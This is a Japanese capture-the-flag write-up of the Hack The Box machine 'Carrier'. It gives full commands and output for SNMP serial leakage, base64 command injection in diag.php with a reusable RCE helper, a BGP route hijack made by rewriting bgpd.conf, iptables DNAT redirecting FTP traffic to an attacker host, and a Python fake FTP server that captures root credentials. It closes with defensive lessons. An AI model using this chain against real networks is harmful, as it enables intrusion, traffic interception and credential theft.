Hack The BoxのWriteup(Carrier)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Carrier — 全実行コマンド・実行結果レポート
Nmap スキャン
TCP 22/80, UDP 67/161
→
SNMPでシリアル漏洩
SN#NET_45JDX23
→
adminログイン
既定パスワード=シリアル
→
check パラメータ注入RCE
diag.php、base64(“quagga; cmd”)
→
user.txt ✓
コンテナ”r1″内
→
BGPトポロジ調査
quagga/AS100、Tickets#6のヒント
→
BGPハイジャック
network 10.120.15.0/25広告
→
iptables DNAT+FTPハニーポット
root:BGPtelc0rout1ng 奪取
→
root.txt ✓
実ホストへSSH

TCPポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.79.178
nmap -sV -sC -p 22,80 10.129.79.178
nmap -Pn -p 21 -sT 10.129.79.178
RESULT
PORT     STATE    SERVICE VERSION
21/tcp   filtered ftp
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4
80/tcp   open     http    Apache httpd 2.4.18
ℹ️
21番は filtered で匿名FTPアクセスも不可。開いているのは実質 22/80 のみ。

UDPスキャン — SNMP発見

BASH
nmap -sU -Pn -p 67,161,69,53,123 --max-retries 1 -T4 10.129.79.178
RESULT
PORT    STATE         SERVICE
53/udp  closed        domain
67/udp  open|filtered dhcps
69/udp  closed        tftp
123/udp closed        ntp
161/udp open          snmp
🚨
TCPだけでは罠にはまる。 80番のWeb画面はログインに必要な情報(筐体シリアル) を一切教えてくれないが、UDPをスキャンしないとSNMP(161)の存在に気付けない。 TCPフルポートスキャンだけで満足せず、UDPも必ず確認する教訓。

Web管理画面 “Lyghtspeed” 初期確認

BASH
curl -s http://10.129.79.178/
RESULT (抜粋)
<img alt="Lyghtspeed" src="img/logo.png">
<h4>Please login</h4>
<span class="badge badge-danger">Error 45007</span>
<span class="badge badge-danger">Error 45009</span>
<form role="form" method="post">
  <input type="username" name="username">
  <input type="password" name="password">
</form>
ℹ️
公開されている元ウォークスルー(0xRick, 2019)の /doc/error_codes.pdf によれば: Error 45007 = 「ライセンス無効・期限切れ」、 Error 45009 = 「システム資格情報未設定、既定adminパスワードは筐体シリアル番号」。 つまりログインにはシリアル番号が必要だが、Web画面のどこにも表示されていない。
PHASE 2

SNMP列挙によるシリアル漏洩 & ログイン

snmpwalk でシリアル番号を取得

BASH
snmpwalk -c public -v 1 10.129.79.178
RESULT
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
✅
community string public が有効で、応答はこの1件のみ。これが探していた 筐体シリアル番号 — つまりError 45009が言う既定adminパスワードそのもの。

admin:シリアル番号 でログイン

BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/ -o /dev/null
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/index.php \
  -d "username=admin&password=NET_45JDX23" -L
RESULT (抜粋)
<title>Dashboard</title>
...
<h4>License invalid</h4>
<p>Cannot detect license key dongle on any USB port.</p>
<li>Tickets functionality is restricted to read-only mode</li>
<li>Monitoring functionality is disabled</li>
<li>Diagnostics restricted to local sub-system components</li>
発見した認証情報
admin : NET_45JDX23
✅
ログイン成功。Dashboard / Tickets(read-only) / Diagnostics が使える(Monitoringのみ無効)。
PHASE 3

diag.php の check パラメータ注入でRCE & user.txt

Diagnostics ページの隠しフィールド “check”

BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/diag.php
RESULT (抜粋)
<form role="form" method="post">
  <input type="hidden" id="check" name="check" value="cXVhZ2dh">
  <button type="submit">Verify status</button>
</form>
ℹ️
cXVhZ2dh は base64(“quagga”)。”Verify status” ボタンを押すとこの値が サーバーへ送られ、おそらく裏側で quagga プロセスの状態確認(ps | grep quagga 的な処理)に使われている、という仮説が立つ。

コマンドインジェクションの確認

BASH
# base64("quagga && id") を check に送る
PAYLOAD=$(echo -n "quagga && id" | base64)
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/diag.php \
  --data-urlencode "check=$PAYLOAD"
RESULT (抜粋)
<p>quagga   779  ... /usr/lib/quagga/zebra --daemon -A 127.0.0.1</p>
<p>quagga   783  ... /usr/lib/quagga/bgpd --daemon -A 127.0.0.1</p>
<p>root     788  ... /usr/lib/quagga/watchquagga --daemon zebra bgpd</p>
<p>root     828  ... bash -c ps waux | grep quagga && id | grep -v grep</p>
<p>root     830  ... grep quagga</p>
<p>uid=0(root) gid=0(root) groups=0(root)</p>
🚨
RCE確定、しかも root 権限。 サーバー側は概ね ps waux | grep <base64decode(check)> | grep -v grep 相当のシェルコマンドへ 無エスケープで文字列連結しており、check の中身がそのままシェルに 渡る。出力はHTMLレスポンスの <p> タグ内にそのまま埋め込まれて返ってくるため、 リバースシェルを張らずに同期的にコマンド結果を読めるのが大きな利点。

ヘルパー関数化 & SENTINEL抽出

BASH (carrier_rce 関数)
carrier_rce() {
  local cmd="$1"
  local payload=$(echo -n "quagga; echo SENTINEL_START; $cmd; echo SENTINEL_END" | base64 -w0)
  curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/diag.php \
    --data-urlencode "check=$payload" --max-time 15 \
    | sed -n '/SENTINEL_START/,/SENTINEL_END/p' | sed 's/<[^>]*>//g'
}
⚠️
ハマりやすい罠: レスポンスには ps waux の一覧も含まれ、そこには 今まさに実行中の自分自身のコマンド行(= echo SENTINEL_START; ...; echo SENTINEL_END という文字列そのもの)がプロセス引数として写り込む。非greedyな正規表現 SENTINEL_START(.*?)SENTINEL_END で抽出しようとすると、本物の出力より先に このps一覧内の文字列へ誤マッチしてしまい、空またはゴミ文字列を本物の出力と 誤認する(後述のmixin実装で実際に踏んだバグ)。最後の出現位置を基準に抽出する (例: sed -n '/SENTINEL_START/,/SENTINEL_END/p' は複数マッチ時最後の区間を 拾うとは限らないため、スクリプトでは rfind() で最後の開始位置を明示的に探す)。

user.txt 取得

BASH
carrier_rce "hostname; find / -maxdepth 3 -iname 'user.txt' 2>/dev/null; cat /opt/flag/user.txt"
RESULT
r1
/opt/flag/user.txt
/root/user.txt
c69129fdd7d4bde45e887844e43c80b5
user.txt — コンテナ “r1” 内 (/opt/flag/user.txt, /root/user.txt)
c69129fdd7d4bde45e887844e43c80b5
ℹ️
hostname が r1 であることに注目。これは実機ホスト本体ではなく、 ルーティング専用のコンテナ/名前空間であることを示している(後述のPhase 4で裏付け)。
PHASE 4

ネットワークトポロジ調査 — Quagga(BGP)とTicketsのヒント

インターフェース・経路確認

BASH
carrier_rce "ip a; echo ---; ip route"
RESULT (抜粋)
eth0  inet 10.99.64.2/24   (デフォルトゲートウェイ 10.99.64.1 — 外部/Kaliへの上流)
eth1  inet 10.78.10.1/24  (AS200ピア 10.78.10.2)
eth2  inet 10.78.11.1/24  (AS300ピア 10.78.11.2)

default via 10.99.64.1 dev eth0 onlink
10.100.10.0/24 ... via 10.78.10.2 dev eth1 proto zebra
...
10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra

bgpd.conf — AS100として稼働

BASH
carrier_rce "cat /etc/quagga/bgpd.conf"
RESULT
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out
ℹ️
このルーターは AS100として AS200/AS300 の2つのピアとBGPを張っている。 redistribute connected と2つの network 文で自身のネットワークを広告中。

Tickets — 攻撃対象プレフィックスのヒント

BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/tickets.php
RESULT (Ticket #6 抜粋)
Rx / CastCom. IP Engineering team from one of our upstream ISP called to
report a problem with some of their routes being leaked again due to a
misconfiguration on our end. ... still reporting issues with 3 networks:
10.120.15, 10.120.16, 10.120.17/24's, one of their VIP is having issues
connecting by FTP to an important server in the 10.120.15.0/24 network,
investigating...
🚨
攻撃対象確定: 10.120.15.0/24 に本物のFTPサーバーがあり、 “VIP”(実ホスト自身)が定期的にそこへFTP接続している。既に自分がAS100として BGPに参加できる立場にいる以上、この経路をハイジャックして自分へ誘導すれば FTP資格情報を横取りできるという方針が立つ(BGPハイジャック攻撃)。
PHASE 5

BGPハイジャック — より specific な経路を広告する

bgpd.conf に network 10.120.15.0/25 を追加

NOTE
BGP(および一般のルーティング全般)では、同じ宛先に対し複数の経路情報が存在する場合、
AS_PATHの長さやLocal Preferenceなどの属性に関わらず、まず
「最長一致(longest prefix match / more specific wins)」が最優先される。

現在、10.120.15.0/24 は AS300(10.78.11.2)経由で学習されている。もし自分(AS100)が
一段 specific な 10.120.15.0/25 (24より1bit長い、より狭いレンジ)を広告すると、
このネットワーク全体で「/25の方が優先」と判断され、本来10.120.15.0/24内の前半アドレス
宛だったトラフィックが自分(carrierルーター)経由に誘導される — これがBGPハイジャック。
BASH
# 元のbgpd.confをbase64で取得してローカルで編集し、書き戻す
carrier_rce "cat /etc/quagga/bgpd.conf | base64 -w0"
# → ローカルでデコード・編集(network 10.120.15.0/25 を追加)・再エンコード
NEWCONF_B64=$(base64 -w0 bgpd.conf.new)
carrier_rce "echo $NEWCONF_B64 | base64 -d > /etc/quagga/bgpd.conf && \
  chown quagga:quagga /etc/quagga/bgpd.conf && chmod 640 /etc/quagga/bgpd.conf"
carrier_rce "service quagga restart; sleep 3; echo RESTARTED"
RESULT (差分)
 network 10.101.8.0/21
 network 10.101.16.0/21
+network 10.120.15.0/25
 redistribute connected
⚠️
check パラメータは1リクエストにつき1コマンド文字列なので、設定ファイル全体の 書き換えはbase64でまるごと転送 → base64 -d でリモート上書きする方式が クォート崩壊の心配なく確実(シングルクォートや改行をインジェクション経由で直接送ると、 シェル解釈の層で壊れるリスクがある)。

ハイジャック成立の確認

BASH
carrier_rce "echo 'show ip bgp' | vtysh"
RESULT (抜粋)
   Network          Next Hop            Metric LocPrf Weight Path
*  10.120.15.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*> 10.120.15.0/25   0.0.0.0                  0         32768 i
Total number of prefixes 29
✅
10.120.15.0/25 が *>(= best path)付きでweight 32768(ローカル生成の 最高優先度)として現れている。ハイジャック成立。
ℹ️
トラブルシューティング: vtysh -c 'show ip bgp' のように複数単語を1つの -c 引数に渡す非対話呼び出しは このQuaggaバージョン(0.99.24.1)では “% Command incomplete.” を返し失敗する。 代わりに echo "show ip bgp" | vtysh のように標準入力経由でコマンド文字列を 渡すと問題なく動作する。また、このバージョンは network 文に対応する 実経路(FIBエントリ)の存在チェック(bgp network import-check)を強制しないため、 実際には接続されていない /25 プレフィックスもそのまま広告できてしまう —— これがこのボックスでBGPハイジャックが容易に成立する根本原因。
PHASE 6

iptables DNAT + FTPハニーポットで資格情報奪取 → root.txt

21番ポートを自分(Kali)へリダイレクト

BASH
carrier_rce "sysctl -w net.ipv4.ip_forward=1; \
  iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.15.200:21; \
  iptables -t nat -A POSTROUTING -j MASQUERADE; \
  iptables -t nat -L -n"
RESULT
net.ipv4.ip_forward = 1
Chain PREROUTING (policy ACCEPT)
DNAT  tcp -- 0.0.0.0/0  0.0.0.0/0  tcp dpt:21 to:10.10.15.200:21
Chain POSTROUTING (policy ACCEPT)
MASQUERADE  all -- 0.0.0.0/0  0.0.0.0/0
ℹ️
ハイジャックで経路だけ奪っても、実際にパケットがこのルーターに届いた後は 何らかの形で処理してやらないと単に破棄される。DNATで宛先を自分(Kali)へ 書き換え、MASQUERADEで戻りパケットのNATも処理する。これにより 「本来 10.120.15.x:21 宛だったFTP接続が、実質そのまま攻撃者のFTPへ着地する」。

最小限のFTP資格情報ハニーポット(Kali側)

PYTHON (fake_ftp.py, stdlib socketのみ)
import socket, threading, datetime

def handle(conn, addr):
    conn.sendall(b"220 FTP server ready\r\n")
    user = None
    while True:
        data = conn.recv(1024)
        if not data: break
        line = data.decode(errors="ignore").strip()
        if line.upper().startswith("USER"):
            user = line.split(" ", 1)[1]
            conn.sendall(b"331 Password required\r\n")
        elif line.upper().startswith("PASS"):
            password = line.split(" ", 1)[1]
            print(f"CREDENTIALS CAPTURED: {user}:{password}")  # log.txt へも記録
            conn.sendall(b"530 Login incorrect\r\n")
    conn.close()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 21)); srv.listen(5)
while True:
    conn, addr = srv.accept()
    threading.Thread(target=handle, args=(conn, addr), daemon=True).start()
BASH
sudo python3 fake_ftp.py
watch cat carrier_ftp_log.txt   # 2秒おとに再表示して待つ

資格情報の捕捉

RESULT (carrier_ftp_log.txt)
[11:13:04] listening on 0.0.0.0:21
[11:13:04] connection from ('10.129.79.178', 42918)
[11:13:04] ('10.129.79.178', 42918) -> USER root
[11:13:04] ('10.129.79.178', 42918) -> PASS BGPtelc0rout1ng
[11:13:04] CREDENTIALS CAPTURED: root:BGPtelc0rout1ng
奪取した資格情報
root : BGPtelc0rout1ng
✅
ハイジャック成立からわずか数分以内に、実ホスト自身(“VIP”)が定期的に試みる FTP接続が捕捉された。接続元は 10.129.79.178(ターゲットのIPそのもの)—— つまり実ホスト自身がこの”重要なFTPサーバー”へ定期巡回しているという設計。

実ホストへSSH → root.txt

BASH
sshpass -p 'BGPtelc0rout1ng' ssh -o StrictHostKeyChecking=no \
  root@10.129.79.178 "hostname; id; cat /root/root.txt"
RESULT
carrier
uid=0(root) gid=0(root) groups=0(root)
775599d2c06a44163bb3e8f8f3d137ab
root.txt — hostname “carrier” (実ホスト本体、コンテナ”r1″ではない)
775599d2c06a44163bb3e8f8f3d137ab
✅
hostname が carrier(Phase 3のRCEシェルで見た r1 とは別) であることに注目。Webアプリ(Lyghtspeed)とそのRCEはルーティング専用コンテナ内に 隔離されていたが、BGPハイジャックで外の実ホストから直接取得した資格情報を使い 実ホスト本体へrootでSSHできたという、このマシンの核心的なトリック。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — コンテナ “r1” 内
c69129fdd7d4bde45e887844e43c80b5
root.txt — 実ホスト “carrier”
775599d2c06a44163bb3e8f8f3d137ab

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SNMP情報漏洩 community string “public” 筐体シリアル(=既定パスワード)の漏洩 Medium snmpwalk -c public -v1 1回でログインに必要な全情報が漏れる
OSコマンドインジェクション Lyghtspeed diag.php の check パラメータ Pre-auth級ではないがRCE(root、コンテナ内) Critical base64エンコードされた値が無エスケープでシェルコマンドへ連結される
BGPハイジャック Quagga 0.99.24.1 (bgpd, AS100) 任意ネットワークの通信傍受 Critical network import-check無効のため実在しない/25をそのまま広告し最長一致で経路を奪取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP全ポート + UDP主要ポート22/80 TCP、67/161 UDP。Webログイン画面でError 45007/45009発見
2SNMP列挙snmpwalk -c public -v1筐体シリアル SN#NET_45JDX23 → admin ログイン成功
3RCEdiag.php check パラメータ注入 + SENTINEL抽出user.txt 取得(コンテナ”r1″内、root権限)
4トポロジ調査ip route/a、bgpd.conf、Tickets#6AS100稼働確認、攻撃対象 10.120.15.0/24 のFTPサーバー特定
5BGPハイジャックbgpd.confに/25追加+quagga再起動10.120.15.0/25 を最優先経路として自分へ誘導
6資格情報奪取&root化iptables DNAT + FTPハニーポット + SSHroot.txt 取得(実ホスト”carrier”、root:BGPtelc0rout1ng)

学んだ教訓 & 防御策

問題点防御策
SNMP community string が既定値”public”のまま有効 SNMPv3への移行、または最低限community stringを推測困難な値に変更しACLで制限する。
筐体シリアル番号を既定管理者パスワードとして使う設計 初回ログイン時に強制的なパスワード変更を要求し、既定値のまま運用を許さない。
診断機能のパラメータをエスケープせずシェルコマンドへ連結 外部入力を直接シェルに渡さず、許可リスト方式のコマンド選択+固定引数のみを使う。必要ならescapeshellarg相当を必ず適用。
BGPの経路広告に対する検証(RPKI/IRRやimport-checkなど)が欠落 bgp network import-check を有効化し実在する経路のみ広告可能にする。上流/下流ともにprefix-listでフィルタし想定外のmore-specific広告を拒否する。RPKIによるオリジン検証も導入する。
重要なFTP通信が平文かつ固定IPへの定期巡回で行われている FTPを廃止しSFTP/FTPSへ移行する。ルーティング経路が変化してもTLS証明書検証で偽サーバーへの接続を検知できるようにする。
HackTheBox: Carrier | 完全攻略レポート